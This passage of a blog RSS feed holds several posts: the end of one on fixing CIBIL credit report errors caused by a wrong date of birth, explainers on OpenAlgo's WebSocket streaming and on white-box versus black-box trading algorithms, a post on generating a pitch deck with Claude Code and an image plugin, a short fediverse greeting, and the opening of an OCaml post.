This is a reminder regarding my complaint Ref No. [REDACTED]. The acknowledgement stated that the issue would be resolved by [DATE], yet I have not received any confirmation.
Failure to resolve within the statutory period will leave me with no option but to escalate to the RBI Integrated Ombudsman.
CIBIL started closing disputes. One by one, accounts were removed. Eight fraudulent accounts were purged in the first wave.
But there was a catch: even after the fraudulent accounts were removed, my DOB was still wrong. CIBIL kept closing my DOB correction disputes without actually fixing the underlying data. Their responses were templated and generic, treating it like a lender issue when DOB is actually a CIBIL demographic field that they control directly.
This required escalating to the Nodal Officer with a sharper tone:
My Date of Birth correction dispute has been closed twice, yet my DOB remains incorrect in every new CIBIL report. This is a CIBIL demographic field — it is not lender-controlled and should have been corrected immediately once KYC was submitted.
Because of this incorrect DOB, my profile was wrongly merged with another individual’s data. Although many wrong accounts have been removed, the root cause remains uncorrected — the wrong DOB is still mapped, and therefore the risk of future wrongful linkages still exists.
Only after escalating to the Nodal Officer did the DOB finally get corrected. Once that happened, the system stopped associating the other person’s accounts with my profile. It was an algorithmic identity collision, and fixing the DOB resolved it.
The Outcome#
My latest CIBIL report shows the correct date of birth, zero fraudulent loans, no written-off or overdue accounts, and a score back in a healthy range. Only my actual accounts remain.
What I Learned#
Credit bureaus are not infallible. A single incorrect demographic detail (in my case, a mismatched DOB) can cause wrong loan mappings, score drops, false delinquencies, and a complete distortion of your financial identity.
The resolution required documentation, persistence with escalations, and an understanding of RBI regulations. AI made the last part significantly easier. Instead of spending hours researching dispute procedures and drafting formal letters, I could focus on gathering the right documents and following up with the right people.
If you haven’t checked your CIBIL report recently, it’s worth verifying that your basic details are correct: DOB, PAN, address, mobile, email. One wrong field can create problems that take weeks to untangle.
Fin!]]></description>
            <content:encoded><![CDATA[<p>About a month ago, I downloaded my CIBIL report expecting a routine check. Instead, I found loans from lenders I had never interacted with, written-off accounts, overdues from fintechs I had never installed, and even two-wheeler loan enquiries. I don’t even ride a bike.</p>
<p>My credit score had collapsed to under 680. I stared at the report trying to understand how this could happen.</p>
<h2 id="the-root-cause-a-wrong-date-of-birth">The Root Cause: A Wrong Date of Birth<a class="zola-anchor" href="#the-root-cause-a-wrong-date-of-birth" aria-label="Anchor link for: the-root-cause-a-wrong-date-of-birth">#</a></h2>
<p>Buried in my profile section was the problem: my date of birth was wrong. Not a typo, but a completely different year.</p>
<p>Because of this mismatch, CIBIL’s system had paired my PAN and mobile number with someone else’s DOB, effectively merging two individuals’ credit histories into one report. The accounts mapped to me included:</p>
<ul>
<li><strong>Aditya Birla Capital</strong>: Short-term personal loan marked as doubtful/substandard</li>
<li><strong>Clix Capital</strong>: A loan marked written-off (₹50,000+)</li>
<li><strong>Poonawalla Fincorp</strong>: Personal loans with delayed payments</li>
<li><strong>Ring / Kissht</strong>: Unsecured digital loans</li>
<li><strong>InCred</strong>: Personal loan I never took</li>
<li><strong>Dhani Loans</strong>: BNPL-style loan with unrecognized activity</li>
<li><strong>Axio (Capital Float)</strong>: Old consumer loan</li>
<li><strong>KrazyBee</strong>: Various short-term loans</li>
<li><strong>Transactree</strong>: Small-ticket personal loan</li>
<li>Multiple enquiries from HDFC, ICICI, IDFC First, Shriram Finance, and others</li>
</ul>
<p>Some were written-off, others 90+ days overdue, others still active. On paper, I looked like a serial defaulter.</p>
<h2 id="using-ai-to-understand-the-problem">Using AI to Understand the Problem<a class="zola-anchor" href="#using-ai-to-understand-the-problem" aria-label="Anchor link for: using-ai-to-understand-the-problem">#</a></h2>
<p>I opened ChatGPT and uploaded the entire PDF with a simple prompt: identify everything wrong in this report.</p>
<p>Within minutes, it had mapped every suspicious account, flagged which ones didn’t match my history, highlighted the incorrect DOB, and explained why CIBIL systems mis-map accounts when demographic data is inconsistent.</p>
<p>More usefully, it drafted formal dispute letters citing relevant RBI regulations and prepared lender-specific escalations with the right legal language. It felt like having a credit compliance team on demand.</p>
<h2 id="the-dispute-process">The Dispute Process<a class="zola-anchor" href="#the-dispute-process" aria-label="Anchor link for: the-dispute-process">#</a></h2>
<p>With the AI-drafted communications as a starting point, I sent disputes to CIBIL and direct emails to each lender. The key was being specific: every email included the CIBIL report control number, the exact account identifiers from the report, and references to specific RBI regulations.</p>
<p>For example, when writing to Poonawalla Fincorp about a co-lending arrangement with Kissht, the email included:</p>
<blockquote>
<p><strong>CIBIL Report details:</strong></p>
<ul>
<li>Control Number: [REDACTED]</li>
<li>Downloaded on: [DATE]</li>
<li>Where your name appears: “POONAFIN – Personal Loan – Account No. [REDACTED]”</li>
<li>Delinquency trail in history: DPD values 35 / 62 / 93 / 124 during [MONTHS]</li>
</ul>
<p>I reiterate that I have never applied for, signed, or availed any facility from Poonawalla/Kissht. This appears to be erroneous mapping / data contamination.</p>
</blockquote>
<p>The emails also cited the relevant regulations explicitly:</p>
<blockquote>
<p>Under Section 45-A(2) of the Credit Information Companies (Regulation) Act 2005 and Para 7.2.2 &amp; 8.1.3 of the RBI Master Directions on Credit Information Companies (2021), please verify this record against your origination/KYC systems. If the record is not verifiable or was created with misused/incorrect KYC, immediately instruct TransUnion CIBIL to delete/correct the entry.</p>
</blockquote>
<p>This kind of precise, regulation-backed language gets results. Vague complaints are likely to get ignored or deprioritized. Specific complaints with control numbers, account IDs, and regulatory citations get escalated to teams that can actually fix things.</p>
<p>For co-lending cases (common with fintechs like Kissht, Ring, etc.), I learned to CC both parties and explicitly request a “consolidated correction” so the entry gets fully removed rather than bouncing between two institutions.</p>
<p>When initial responses were slow, I sent reminders that referenced the original complaint number and the 30-day statutory deadline:</p>
<blockquote>
<p>This is a reminder regarding my complaint Ref No. [REDACTED]. The acknowledgement stated that the issue would be resolved by [DATE], yet I have not received any confirmation.</p>
<p>Failure to resolve within the statutory period will leave me with no option but to escalate to the RBI Integrated Ombudsman.</p>
</blockquote>
<p>CIBIL started closing disputes. One by one, accounts were removed. Eight fraudulent accounts were purged in the first wave.</p>
<p>But there was a catch: even after the fraudulent accounts were removed, my DOB was still wrong. CIBIL kept closing my DOB correction disputes without actually fixing the underlying data. Their responses were templated and generic, treating it like a lender issue when DOB is actually a CIBIL demographic field that they control directly.</p>
<p>This required escalating to the Nodal Officer with a sharper tone:</p>
<blockquote>
<p>My Date of Birth correction dispute has been closed twice, yet my DOB remains incorrect in every new CIBIL report. This is a CIBIL demographic field — it is not lender-controlled and should have been corrected immediately once KYC was submitted.</p>
<p>Because of this incorrect DOB, my profile was wrongly merged with another individual’s data. Although many wrong accounts have been removed, the root cause remains uncorrected — the wrong DOB is still mapped, and therefore the risk of future wrongful linkages still exists.</p>
</blockquote>
<p>Only after escalating to the Nodal Officer did the DOB finally get corrected. Once that happened, the system stopped associating the other person’s accounts with my profile. It was an algorithmic identity collision, and fixing the DOB resolved it.</p>
<h2 id="the-outcome">The Outcome<a class="zola-anchor" href="#the-outcome" aria-label="Anchor link for: the-outcome">#</a></h2>
<p>My latest CIBIL report shows the correct date of birth, zero fraudulent loans, no written-off or overdue accounts, and a score back in a healthy range. Only my actual accounts remain.</p>
<h2 id="what-i-learned">What I Learned<a class="zola-anchor" href="#what-i-learned" aria-label="Anchor link for: what-i-learned">#</a></h2>
<p>Credit bureaus are not infallible. A single incorrect demographic detail (in my case, a mismatched DOB) can cause wrong loan mappings, score drops, false delinquencies, and a complete distortion of your financial identity.</p>
<p>The resolution required documentation, persistence with escalations, and an understanding of RBI regulations. AI made the last part significantly easier. Instead of spending hours researching dispute procedures and drafting formal letters, I could focus on gathering the right documents and following up with the right people.</p>
<p>If you haven’t checked your CIBIL report recently, it’s worth verifying that your basic details are correct: DOB, PAN, address, mobile, email. One wrong field can create problems that take weeks to untangle.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[How OpenAlgo WebSocket Works]]></title>
            <link>https://openalgo.medium.com/how-openalgo-websocket-works-8c5e61b71d06?source=rss-cda86e929c3------2</link>
            <guid isPermaLink="false">https://openalgo.medium.com/how-openalgo-websocket-works-8c5e61b71d06?source=rss-cda86e929c3------2</guid>
            <pubDate>Wed, 26 Nov 2025 07:42:18 GMT</pubDate>
            <content:encoded><![CDATA[<p>In active trading, speed is everything. A trade can succeed or fail depending on how quickly you receive updates about price movements, order book changes, or market depth. Many traders want the benefit of real time data without needing complicated code. OpenAlgo solves this by turning many different broker feeds into one clean and fast data stream.</p><p>OpenAlgo connects with more than twenty four Indian brokers and streams real time market data into Python strategies, Excel sheets, or the OpenAlgo web dashboard. The system lets traders focus on decision making and strategy development while the platform handles the technical work in the background.</p><p>This guide explains the complete OpenAlgo WebSocket flow from broker servers to your applications. It is written so that both traders and developers can understand the logic clearly.</p><h3>Architecture Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*doesOkczoWG-MoNkIdgB8A.png" /></figure><h3>One: Broker Cloud</h3><p>This is where real time data begins. Each broker offers a WebSocket feed, but every broker sends data in a different style. Some use different authentication rules, some use different symbol formats, and some send different fields.</p><p>OpenAlgo supports more than twenty four brokers. They stream:</p><ul><li>LTP which is the last traded price</li><li>Quote data such as open high low close volume and bid ask</li><li>Market depth with five or twenty or fifty levels</li></ul><h3>Trader view</h3><p>If you switch brokers you do not have to learn a new API or data format. The output always looks the same through OpenAlgo.</p><h3>Developer view</h3><p>You do not need to write separate code for each broker feed. The next layer handles that work.</p><h3>Two: Broker Adapters</h3><p>Broker Adapters act as translators. They take the raw broker feed and convert it into one consistent OpenAlgo format.</p><h3>Tasks performed by an adapter</h3><ul><li>Authenticate with the broker</li><li>Connect to the broker WebSocket</li><li>Subscribe to user selected symbols</li><li>Convert broker specific data to the OpenAlgo format</li><li>Publish clean data into the ZeroMQ message bus</li></ul><h3>Unified data format</h3><p>You always receive a structured JSON object in one standard format.<br> Example:</p><pre>{<br>  &quot;symbol&quot;: &quot;RELIANCE&quot;,<br>  &quot;exchange&quot;: &quot;NSE&quot;,<br>  &quot;ltp&quot;: 2847.35,<br>  &quot;open&quot;: 2830,<br>  &quot;high&quot;: 2855,<br>  &quot;low&quot;: 2825.5,<br>  &quot;close&quot;: 2832.1,<br>  &quot;volume&quot;: 1250000,<br>  &quot;bid&quot;: 2847.3,<br>  &quot;ask&quot;: 2847.4,<br>  &quot;timestamp&quot;: &quot;2024 01 15T10 30 45.123Z&quot;<br>}</pre><h3>Trader view</h3><p>No matter which broker you choose, the data is always clean and uniform.</p><h3>Developer view</h3><p>You write your strategy once and use it with any supported broker.</p><h3>Three: ZeroMQ Message Bus</h3><p>After the data is normalized it is sent to ZeroMQ which is a fast and lightweight message system.</p><p>ZeroMQ offers:</p><ul><li>Very low latency</li><li>Asynchronous data flow</li><li>Publish and subscribe messaging</li><li>Excellent performance even with high message volumes</li></ul><h3>How the flow works</h3><p>Adapters publish data into a ZeroMQ topic.<br> The OpenAlgo server subscribes to all topics.<br> ZeroMQ delivers the data quickly and efficiently.</p><h3>Trader view</h3><p>Charts update instantly and strategies react without delay.</p><h3>Developer view</h3><p>ZeroMQ removes complicated networking code and provides a simple high speed message pipeline.</p><h3>Four: OpenAlgo Server</h3><p>This is the center of the OpenAlgo ecosystem. It contains two main parts.</p><h3>A. WebSocket Proxy Server</h3><p>The WebSocket Proxy distributes real time data to all connected clients such as Python scripts, Excel sheets, or browser dashboards.</p><p>It is responsible for:</p><ul><li>User authentication</li><li>Managing subscriptions for each client</li><li>Handling multiple clients at the same time</li><li>Listening to ZeroMQ</li><li>Throttling updates to avoid excessive traffic</li></ul><h3>B. REST API Server</h3><p>This part manages:</p><ul><li>Order placement</li><li>Order updates</li><li>Positions and holdings</li><li>Account data</li><li>Historical candles</li></ul><h3>Trader view</h3><p>You can run the server on your laptop or on a cloud machine and keep your strategy active through the entire market session.</p><h3>Developer view</h3><p>You receive a clear separation between high speed streaming and business logic for orders.</p><h3>Five: Client Applications</h3><p>Many different types of clients can consume the OpenAlgo feed at the same time.</p><h3>OpenAlgo Web Dashboard</h3><p>The dashboard provides:</p><ul><li>Live charts</li><li>Market watch</li><li>Portfolio and positions</li><li>Order window</li><li>Real time price updates</li></ul><p>This is ideal for traders who prefer a visual interface.</p><h3>Excel Add In with OpenAlgo Functions</h3><p>The Excel Add In connects Excel directly to the OpenAlgo WebSocket.<br>It provides custom worksheet functions created solely for OpenAlgo.<br> It uses a continuous WebSocket connection to keep each cell updated.</p><h3>Available functions</h3><pre>=oa_ltp(&quot;NSE&quot;, &quot;RELIANCE&quot;)<br>=oa_quotes(&quot;NSE&quot;, &quot;NIFTY_INDEX&quot;)<br>=oa_depth(&quot;NFO&quot;, &quot;BANKNIFTY30DEC25FUT&quot;)</pre><p>Each function subscribes to live data and updates the cell automatically.</p><h3>What traders can build</h3><ul><li>Watchlists</li><li>P &amp; L trackers</li><li>Custom option chain</li><li>Spread sheets</li><li>Scanners</li><li>Risk calculators</li><li>Alerts using Excel formulas</li></ul><p>No programming knowledge is needed. If you know Excel you can build powerful real time tools.</p><h3>Python SDK for Automated Strategies</h3><p>Here is a simple Python example:</p><pre>from openalgo import api</pre><pre>client = api(<br>    api_key=&quot;your_api_key&quot;,<br>    host=&quot;http://127.0.0.1:5000&quot;,<br>    ws_url=&quot;ws://127.0.0.1:8765&quot;<br>)</pre><pre>def on_update(data):<br>    print(data[&quot;symbol&quot;], data[&quot;ltp&quot;])</pre><pre>client.connect()<br>client.subscribe_ltp(<br>    [{&quot;exchange&quot;: &quot;NSE&quot;, &quot;symbol&quot;: &quot;RELIANCE&quot;}],<br>    on_data_received=on_update<br>)</pre><p>This can be expanded into advanced strategies for intraday trading, positional trading, option buying, scalping, or market making.</p><h3>Subscription Modes</h3><p>You can choose the level of detail needed for your strategy.</p><h3>LTP Mode</h3><p>Fastest updates<br>Ideal for quick alerts and light strategies</p><h3>Quote Mode</h3><p>Includes OHLC volume and bid ask<br>Best for intraday models and chart based strategies</p><h3>Market Depth Mode</h3><p>Full order book<br>Used for scalping order flow and market making</p><h3>Multiple Strategies at the Same Time</h3><p>You can run several strategy scripts in parallel. Each client maintains its own WebSocket connection and subscribes to only the symbols it needs.</p><p>This provides:</p><ul><li>Complete isolation</li><li>Parallel testing</li><li>Independent risk control</li><li>Smooth scaling</li></ul><p>Traders often run a main live strategy while testing a new one in the background.</p><h3>Performance Features</h3><p>OpenAlgo includes several internal optimizations.</p><ul><li>Instant lookup subscription indexing</li><li>Throttling to control message flood</li><li>Batch broadcasting for efficiency</li><li>Zero copy transfers inside ZeroMQ</li></ul><p>These features ensure that your data remains fast and stable even under heavy load.</p><h3>Resilience and Error Recovery</h3><p>The system detects and recovers from issues such as:</p><ul><li>Broker feed disconnect</li><li>Unstable internet</li><li>Client disconnect</li></ul><p>The server automatically reconnects and continues streaming once stable.<br> This keeps your strategies reliable during real market conditions.</p><h3>Quick Start Python Example</h3><pre>from openalgo import api<br>import time</pre><pre>API_KEY = &quot;your_api_key&quot;<br>HOST = &quot;http://127.0.0.1:5000&quot;<br>WS_URL = &quot;ws://127.0.0.1:8765&quot;</pre><pre>client = api(api_key=API_KEY, host=HOST, ws_url=WS_URL)<br>prices = {}</pre><pre>def on_ltp(data):<br>    symbol = data[&quot;symbol&quot;]<br>    prices[symbol] = data[&quot;ltp&quot;]<br>    print(symbol, data[&quot;ltp&quot;])</pre><pre>def main():<br>    instruments = [<br>        {&quot;exchange&quot;: &quot;NSE&quot;, &quot;symbol&quot;: &quot;RELIANCE&quot;},<br>        {&quot;exchange&quot;: &quot;NSE&quot;, &quot;symbol&quot;: &quot;INFY&quot;}<br>    ]</pre><pre>    client.connect()<br>    client.subscribe_ltp(instruments, on_data_received=on_ltp)</pre><pre>    while True:<br>        time.sleep(1)</pre><pre>if __name__ == &quot;__main__&quot;:<br>    main()</pre><h3>Conclusion</h3><p>OpenAlgo delivers consistent and ultra fast real time data to both traders and developers. It removes broker based complexity and provides one unified system for all trading workflows.</p><h3>Summary for traders</h3><ul><li>You can use Excel or the Web UI without any coding</li><li>You get clean and accurate real time data</li><li>You can switch brokers without changing your setup</li></ul><h3>Summary for developers</h3><ul><li>Unified data format across all brokers</li><li>ZeroMQ powered low latency pipeline</li><li>Clean Python SDK for strategy development</li><li>Support for multiple strategies at the same time</li></ul><p>OpenAlgo gives you a solid foundation for building reliable trading setups whether you use Excel or Python or a fully automated system.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c5e61b71d06" width="1" height="1" alt="">]]></content:encoded>
            <author>Rajandran R (Creator - OpenAlgo)</author>
            <category>zmq</category>
            <category>websocket</category>
            <category>algorithmic-trading</category>
            <category>openalgo</category>
            <category>python</category>
        </item>
        <item>
            <title><![CDATA[White Box vs Black Box Algorithms]]></title>
            <link>https://openalgo.medium.com/white-box-vs-black-box-algorithms-6eacc52cc2fc?source=rss-cda86e929c3------2</link>
            <guid isPermaLink="false">https://openalgo.medium.com/white-box-vs-black-box-algorithms-6eacc52cc2fc?source=rss-cda86e929c3------2</guid>
            <pubDate>Wed, 26 Nov 2025 03:51:48 GMT</pubDate>
            <content:encoded><![CDATA[<h3>A Simple Guide for Traders</h3><p>Algorithmic trading has entered the mainstream as SEBI opens the door for safer retail participation. Along with this shift, two terms have become central in the discussion. White Box algorithms and Black Box algorithms. Knowing the difference helps traders choose tools that match their comfort, transparency needs and regulatory requirements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NUnQ0gMx4ffcIpO94y4vMg.png" /></figure><h3>What is a White Box Algorithm</h3><p>A White Box algorithm is transparent. The trader can see every rule and understand the logic line by line. The behaviour of the strategy is predictable because the conditions for entry and exit are visible. For example, a trader can view rules such as buy when the RSI crosses a particular threshold or exit when the price dips below a moving average.</p><p>The clarity makes these systems easier to audit. Exchanges approve them with simpler checks, and brokers can offer them directly to retail traders. White Box systems suit traders who want complete visibility of how decisions are generated.</p><h3>What is a Black Box Algorithm</h3><p>A Black Box algorithm keeps its internal logic hidden. Only the provider knows the exact conditions that trigger buy or sell signals. These systems often rely on proprietary models or machine learning based methods that the provider does not disclose.</p><p>Since the underlying logic is not visible, the regulatory framework is tighter. Providers must be registered as Research Analysts and maintain strategy documentation that is submitted to the exchanges. Retail traders using these systems rely on the provider’s reputation and on the approval filters put in place by SEBI.</p><h3>Why This Distinction Matters</h3><p>White Box systems offer simplicity and clarity. The trader can predict behaviour and understand how the algorithm responds to market signals. This also helps brokers and exchanges monitor unusual activity and maintain system integrity.</p><p>Black Box systems offer complexity and sometimes speed or statistical advantage. But they demand trust because the user cannot verify the strategy logic. This makes oversight essential and places more responsibility on the provider.</p><h3>How SEBI Regulates Them</h3><p>SEBI has introduced a uniform structure for all algorithms that brokers or third party platforms offer to retail traders. Every strategy must be approved by the exchange and assigned a unique identification code.<br>White Box systems go through a straightforward approval process because the logic is visible.</p><p>Black Box systems must pass detailed scrutiny. Any modification in logic must be reported and reapproved. The goal is to bring transparency where possible and accountability everywhere.</p><h3>Where OpenAlgo Fits in the Landscape</h3><p>It is important to note that OpenAlgo itself is not a trading strategy. It is an open source platform that gives traders the freedom to build their own strategies. Nothing is prebuilt or packaged inside it.</p><p>Users design their own logic and run it on their own infrastructure or connect it with tools they already use such as Amibroker, Tradingview, Metatrader, Excel, N8N and similar platforms.</p><p>Because OpenAlgo only provides the framework and not the strategy logic, the transparency or opacity of the final algorithm depends entirely on what the user creates. The platform simply enables traders to host and execute their own ideas in a flexible and self controlled environment.</p><h3>Which One Should You Choose</h3><p>A White Box approach is suitable for traders who want control and complete visibility.</p><p>A Black Box approach suits traders who prefer sophistication and are comfortable relying on a provider.</p><p>Open source platforms like OpenAlgo sit in the middle. They allow users to build anything they want and decide whether their logic remains visible or private. The trader chooses the level of transparency and the level of complexity.</p><p>Both paths can be effective. The choice depends on your comfort with disclosure, your faith in the provider or your wish to build and run your own strategies independently.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6eacc52cc2fc" width="1" height="1" alt="">]]></content:encoded>
            <author>Rajandran R (Creator - OpenAlgo)</author>
            <category>market-regulation</category>
            <category>sebi</category>
            <category>black-box</category>
            <category>white-box</category>
            <category>trading-algorithms</category>
        </item>
        <item>
            <title><![CDATA[Claude Opus 4.5 + Nano Banana: The AI Stack That Turned My GitHub Repo into a Pitch Deck]]></title>
            <link>https://openalgo.medium.com/claude-opus-4-5-nano-banana-the-ai-stack-that-turned-my-github-repo-into-a-pitch-deck-cd39f294dead?source=rss-cda86e929c3------2</link>
            <guid isPermaLink="false">https://openalgo.medium.com/claude-opus-4-5-nano-banana-the-ai-stack-that-turned-my-github-repo-into-a-pitch-deck-cd39f294dead?source=rss-cda86e929c3------2</guid>
            <pubDate>Tue, 25 Nov 2025 06:10:20 GMT</pubDate>
            <content:encoded><![CDATA[<p>I stared at my screen, dreading the next few hours.</p><p>I needed a pitch deck for <a href="https://openalgo.in">OpenAlgo</a> — our open-source algorithmic trading platform. The kind with sleek diagrams, consistent branding, and those infographics that make traders get to know better about openalgo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h6dl8-_lCMqX48ZufaVOyA.png" /></figure><p>The usual options flashed through my mind: PowerPoint templates. Canva. Hiring a designer. Hours of dragging boxes and aligning text.</p><p>Then I thought — what if I didn’t have to do any of that?</p><p>What if AI could read my source code and create the entire presentation for me?</p><p>Spoiler: It worked. And it worked better than I expected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NFiYshmi5jP1tj5k4pe7FQ.png" /></figure><p><strong>The Unexpected Combination</strong></p><p>Two things came together this week that made this possible.</p><p><strong>Claude Opus 4.5</strong> — Anthropic’s most powerful model — released yesterday. Its ability to understand and reason about code is remarkable.</p><p><strong>Fal_Marketplace</strong> — a Claude Code plugin we built last week — brings fal.ai’s image generation models directly into your coding workflow.</p><p>The combination is surprisingly powerful.</p><p><strong>The Workflow</strong></p><p>Here’s what the entire process looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WYlSQFtFmXOqJJZ1G4Fqtg.png" /></figure><blockquote><em>The four-stage pipeline: Source Code → Claude Opus 4.5 → Nano Banana Pro → Professional PPT</em></blockquote><p>Let me break down each stage.</p><p><strong>Stage 1: Point Claude at Your Codebase</strong></p><p>I opened Claude Code in my OpenAlgo repository and typed:</p><p>&gt; “Create a 30-slide PPT on Introduction to OpenAlgo. This is for traders and developers. Use the nano-banana plugin to generate process diagrams and infographics. Make it a modern startup pitch deck.”</p><p>That’s it. One prompt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hWMlFZfwzh98k0Rr8wBMQg.png" /></figure><p>Claude didn’t ask me what OpenAlgo does. It didn’t need a feature list or marketing copy.</p><p>It read the source code.</p><p>Within seconds, it was exploring routes, API endpoints, broker integrations, and documentation files. It understood that OpenAlgo connects to 24+ Indian brokers, supports 12 trading platforms, and has features like Sandbox Testing and Action Center.</p><p>All from the code.</p><p><strong>Stage 2: The Secret Weapon — 2000+ Word Prompts</strong></p><p>Here’s what most people don’t realize about image generation.</p><p><strong>Nano Banana Pro accepts prompts with over 2000 words.</strong></p><p>This changes everything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hIV-pXAHKeJ1Xvp4dg0t5g.png" /></figure><blockquote><em>Basic prompts produce generic results. Detailed prompts produce designer-quality output</em></blockquote><p>Instead of writing “create a flowchart,” Claude wrote prompts like this:</p><blockquote>Create a professional architecture diagram titled “ONE API, 24+ BROKERS”</blockquote><blockquote>in bold white text at the top.</blockquote><blockquote>TOP SECTION — “YOUR TRADING PLATFORM”:</blockquote><blockquote>Three boxes in a row labeled: “TradingView”, “Amibroker”, “Python/Excel”</blockquote><blockquote>All three have arrows pointing down to a single point.</blockquote><blockquote>MIDDLE SECTION — “OPENALGO API LAYER”:</blockquote><blockquote>A large glowing rectangular box in the center labeled “OpenAlgo Unified API”</blockquote><blockquote>with subtitle “Single Integration Point”</blockquote><blockquote>Inside this box, show text: “Place Order | Modify | Cancel | Positions | Holdings | Quotes”</blockquote><blockquote>BOTTOM SECTION — “BROKER CONNECTIONS”:</blockquote><blockquote>From the API box, 24 small lines fan out downward connecting to broker names:</blockquote><blockquote>Row 1: “Zerodha”, “Angel One”, “Upstox”, “Dhan”, “Fyers”, “5Paisa”, “IIFL”, “Kotak”</blockquote><blockquote>Row 2: “Motilal”, “Groww”, “Shoonya”, “Flattrade”, “Alice Blue”, “Firstock”…</blockquote><blockquote>Style: Modern tech diagram, dark gradient background, neon blue and purple</blockquote><blockquote>accent colors, clean connecting lines, professional typography.</blockquote><p>The result? A polished, branded diagram that looks like a designer spent hours on it.</p><p>Claude wrote ten of these detailed prompts — one for each infographic — because it understood exactly what needed to be visualized.</p><p>— -</p><p><strong>Stage 3: Automatic Assembly</strong></p><p>Claude didn’t stop at generating images.</p><p>It wrote a Python script using `python-pptx` that:</p><p>- Created 31 slides with 16:9 aspect ratio</p><p>- Applied a dark gradient theme with purple, cyan, and coral accents</p><p>- Set consistent typography across all slides</p><p>- Embedded each AI-generated image in the right position</p><p>- Added titles, bullet points, and captions</p><p>One command assembled everything into a polished `.pptx` file.</p><p>— -</p><p><strong>What I Got</strong></p><p><strong>30 slides.</strong> Professional startup pitch deck styling.</p><p><strong>10 custom infographics:</strong></p><p>- Target audience personas</p><p>- Broker architecture diagram</p><p>- Platform integration ecosystem</p><p>- TradingView webhook flow</p><p>- Complete order flow</p><p>- Action Center workflow</p><p>- Sandbox testing explainer</p><p>- Strategy manager features</p><p>- Analytics dashboard</p><p>- Security features</p><p><strong>Zero manual design work.</strong></p><p><strong>Total time: Under 30 minutes.</strong></p><p>You can view the complete presentation here:</p><p><a href="https://www.slideshare.net/slideshow/introduction-to-openalgo-self-hosted-algo-trading-platform-open-source/284287912">Introduction to OpenAlgo - Self Hosted Algo Trading Platform (Open Source)</a></p><p><strong>Why This Matters</strong></p><p>I’ve been thinking about what this means.</p><p><strong>For developers:</strong> You can now create investor decks, product demos, and documentation directly from your codebase. No context-switching. No waiting for designers.</p><p><strong>For founders:</strong> Your pitch deck actually reflects your product — because the AI read your source code, not your marketing fluff.</p><p><strong>For educators:</strong> Any codebase can become teaching material with accurate, visual explanations.</p><p>We’re not replacing designers. We’re giving technical people the ability to create professional materials without leaving their natural environment — the code.</p><p>— -</p><p><strong>Try It Yourself</strong></p><p><strong>Step 1: Install the plugin</strong></p><pre>/plugin marketplace add https://github.com/marketcalls/fal_marketplace<br>/plugin install nano-banana-pro</pre><p><strong>Step 2: Set your fal.ai API key</strong></p><pre>setx FAL_KEY &quot;your-api-key-here&quot;</pre><p><strong>Step 3: Restart Claude Code and ask</strong></p><p>&gt; “Create a presentation about [your project] using the nano-banana plugin for diagrams. Write detailed prompts — Nano Banana accepts 2000+ words.”</p><p>That last part is important. Tell Claude about the detailed prompt capability. The more context in the prompt, the better the output.</p><p>— -</p><p><strong>The Uncomfortable Truth</strong></p><p>I spent years learning PowerPoint tricks. Aligning shapes. Choosing color palettes. Formatting bullet points.</p><p>An AI just did it better in 30 minutes.</p><p>But here’s the thing — I’m not upset. I’m excited.</p><p>Because now I can focus on what actually matters: building the product, writing the code, solving the problems.</p><p>The presentation? That’s handled.</p><p>— -</p><p><strong>Resources</strong></p><p><strong>Fal_Marketplace Plugin:</strong> github.com/marketcalls/fal_marketplace</p><p><strong>Final Presentation:</strong> <a href="https://www.slideshare.net/slideshow/introduction-to-openalgo-self-hosted-algo-trading-platform-open-source/284287912">[SlideShare — Introduction to OpenAlgo]</a></p><p><strong>OpenAlgo:</strong> <a href="https://github.com/marketcalls/openalgo">https://github.com/marketcalls/openalgo</a></p><p>— -</p><p><em>If you try this workflow, I’d love to see what you create. Drop a comment or tag me.</em></p><p><em>And if you’re an algo trader looking to automate your strategies across Indian brokers — check out OpenAlgo. It’s open source and free forever.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd39f294dead" width="1" height="1" alt="">]]></content:encoded>
            <author>Rajandran R (Creator - OpenAlgo)</author>
            <category>pitch-deck</category>
            <category>nanobanana-ai</category>
            <category>openalgo</category>
            <category>claude-code</category>
            <category>powerpoint</category>
        </item>
        <item>
            <title><![CDATA[Hello for Fediverse!]]></title>
            <link>https://programmerlife1.wordpress.com/2025/11/16/hello-for-fediverse/</link>
            <guid isPermaLink="false">https://programmerlife1.wordpress.com/2025/11/16/hello-for-fediverse/</guid>
            <pubDate>Sun, 16 Nov 2025 13:22:27 GMT</pubDate>
            <description><![CDATA[I started exploring fediverse today]]></description>
            <content:encoded><![CDATA[
<p class="wp-block-paragraph">I started exploring fediverse today</p>
]]></content:encoded>
            <author>Hariharan</author>
            <category>Uncategorized</category>
            <category>#fediverse</category>
            <category>newbie</category>
            <enclosure url="https://2.gravatar.com/avatar/ba050e0f16c167f438c99536934cfa2750edf37b00c0d35f34c2334c274d6e9e?s=96&d=identicon&r=G" length="0" type="image//avatar/ba050e0f16c167f438c99536934cfa2750edf37b00c0d35f34c2334c274d6e9e"/>
        </item>
        <item>
            <title><![CDATA[Foundations for hacking on OCaml]]></title>
            <link>https://kcsrk.info/ocaml/2025/11/10/hacking/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/2025/11/10/hacking/</guid>
            <pubDate>Mon, 10 Nov 2025 10:35:00 GMT</pubDate>
            <description><![CDATA[How do you acquire the fundamental computer skills to hack on a complex
systems project like OCaml? What’s missing and how do you go about
bridging the gap?
There are many fundamental systems skills that go into working on a
language like OCaml that only come with soaking in systems programming. By
systems programming, I mean the ability to use tools like the command-line,
editors, version control, build systems, compilers, debuggers, bash scripting,
and so on.  This is often something that one takes for granted when working on
such projects, but is often inscrutable for new contributors, who may not have
had the opportunity to develop these skills.
I struggle with this in my own research group. Students approach me to work on
the OCaml compiler because they have studied OS, Compilers and Computer
Architecture in class. But once they understand that working on OCaml involves
